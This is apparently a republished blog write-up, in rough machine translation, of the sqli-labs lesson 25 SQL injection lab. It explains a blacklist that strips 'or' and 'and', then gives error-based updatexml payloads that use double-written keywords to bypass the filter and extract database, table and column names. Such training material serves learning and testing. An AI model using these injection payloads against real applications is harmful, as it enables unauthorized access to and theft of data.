当前位置:网站首页>sqli-labs25
sqli-labs25
2022-06-21 05:54:00 【ter_ ret】
List of articles
One 、 Code audit
1、 This is where the code meets the database , It can quickly judge the injection point and closing mode
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2、 This is filtered out using regular matching and and or,i The upper and lower case are filtered
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
Two 、SQL Inject
1、 Get the database
Here we bypass the filter by double writing , Double writing is equivalent to filtering out one and, But keep one and
?id=1' aandnd updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

2、 Get the data table
here infoorrmation Inside or Use double write , Pay attention to the point
?id=1' aandnd updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7e),1)--+

3、 Get field
?id=1' aandnd updatexml(1,concat(0x7e,(select group_concat(column_name)from infoorrmation_schema.columns where table_name='users'),0x7e),1)--+

边栏推荐
猜你喜欢

Distributed transaction of microservices Seata

浅谈美国ESS音频DAC解码芯片ES9023

复制 代码生成器 生成的代码到idea中,运行后网址报错怎么解决

成立时间用了时间插件,但在网页上修改参数的时候,如果未修改时间第一次保存会报错,第二次才行

Private board of directors of science and technology innovators · digital intelligence future (issue 4): demonstration of transformation - survivor bias and blind people touching elephants

simple_js 攻防世界

sqli-labs25

simple_ JS attack and defense world

基于注意力的seq2seq模型

Two ways to get rid of the setback of the new retail brand "three squirrels"
随机推荐
RTOS组的嵌入式开发经历
Fluorite Cloud Application
Discussion on the American ess audio DAC decoder chip es9023
完善业务细节必填项的确定,根据返回的状态码回显错误信息时,回显的信息与预期不符
Jdbcdynamictablesource supports predicate push down?
Vscode+platformio development STM32 (VII)
js 中 async/await 的用法
Working principle of digital temperature sensor and analysis of temperature measurement principle
实现杀菌、除臭、除异味多效集成的UVC杀菌灯
CANopen cob-id enable PDO function
JS encapsulates functions, and the results are appended after multiple calls
These classic software, which was once very popular, are still fresh in my memory now
基于CNN的音乐流派分类
Research and Analysis on the current situation of China's video production service market and forecast report on its development prospects (2022)
科创人·酷渲科技创始人华少:用双赢思维做产品、连生态,实现规模化发展
攻防世界 php_rce
Emotron伊爾通軟啟動器維修MSF370/MSF450
【Prometheus】Prometheus联邦的一次优化记录
lambda-stream
Deep thinking caused by a namenode RPC delay troubleshooting